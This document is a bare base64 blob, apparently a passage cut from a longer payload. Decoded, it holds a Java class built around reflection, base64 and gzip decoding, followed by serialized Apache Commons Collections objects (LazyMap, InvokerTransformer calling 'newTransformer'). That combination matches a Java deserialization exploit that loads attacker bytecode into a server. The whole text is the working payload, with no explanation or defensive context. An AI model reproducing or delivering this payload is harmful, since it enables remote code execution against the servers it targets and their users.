cvQ2xhc3M8Kj47AQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcggBTgEADGRlY29kZUJ1ZmZlcggBUAEACWdldE1ldGhvZAwBUgDRCgCBAVMBABBqYXZhLnV0aWwuQmFzZTY0CAFVAQAKZ2V0RGVjb2RlcggBVwEABmRlY29kZQgBWQEADmNvbXByZXNzZWREYXRhAQADb3V0AQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAAmluAQAeTGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW07AQAGdW5nemlwAQAfTGphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtOwEABmJ1ZmZlcgEAAW4BAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQcBZAEAHGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW0HAWYBAB1qYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbQcBaAoBZQAsAQAFKFtCKVYMABUBawoBZwFsAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWDAAVAW4KAWkBbwEABHJlYWQBAAUoW0IpSQwBcQFyCgFpAXMBAAV3cml0ZQEAByhbQklJKVYMAXUBdgoBZQF3AQALdG9CeXRlQXJyYXkBAAQoKVtCDAF5AXoKAWUBewEAA29iagEACWZpZWxkTmFtZQEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEABGdldEYBAD8oTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsMAYEBggoAAgGDAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQHAYUKAYYA2AoBhgB6AQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uBwGJAQAgTGphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbjsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7DAGMAY0KAIEBjgEADWdldFN1cGVyY2xhc3MMAZAAfQoAgQGRCgGKABcBAAx0YXJnZXRPYmplY3QBAA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e7AJpZGQe2AbC3AbG/GQUqLbYA4bA6B7sAmlkZB7YBsLcBsb8AAwAlAHIAdQChAJwAowCkAJ8AswC6ALsAnwADABwAAABuABsAAAD+ABQA/wAXAQEAGwECACUBBAApAQYAMAEHADsBCABWAQkAXQEKAGABBwBmAQ0AaQEOAHIBEgB1ARAAdwERAH4BEgCBARQAhgEVAI8BFwCVARgAnAEaAKQBGwCmARwAswEgALsBIQC9ASIAHQAAAHoADAAzADMBSADoAAgAMAA2AZYBlwAHAHcABwBNAZgABwCmAA0ATQGZAAcAvQANAE0BmQAHAAAAygF9AB8AAAAAAMoBlQDqAAEAAADKAZoBmwACAAAAygGcAZ0AAwAUALYArACtAAQAFwCzAZ4AqwAFABsArwGfAK0ABgArAAAALwAODkMHAIH+AAgHAIEHANUHAIH9ABcHAaABLPkABQIIQgcAoQsNVAcAnw5HBwCfAA4AAAAIAAMAoQCjAJ8ACAGyABkAAQAHAAAAJQACAAAAAAAJuwACWbcBs1exAAAAAQAcAAAACgACAAAAKQAIACoAAHVxAH4ADgAAAPLK/rq+AAAAMQATAQADRm9vBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBAAhGb28uamF2YQEAFGphdmEvaW8vU2VyaWFsaXphYmxlBwAHAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoFceZp7jxtRxgBAA1Db25zdGFudFZhbHVlAQAGPGluaXQ+AQADKClWDAAOAA8KAAQAEAEABENvZGUAIQACAAQAAQAIAAEAGgAJAAoAAQANAAAAAgALAAEAAQAOAA8AAQASAAAAEQABAAEAAAAFKrcAEbEAAAAAAAEABQAAAAIABnB0AAFQcHcBAHhzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAJWwALaVBhcmFtVHlwZXNxAH4ACHhwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAHQADm5ld1RyYW5zZm9ybWVydXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAAAc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=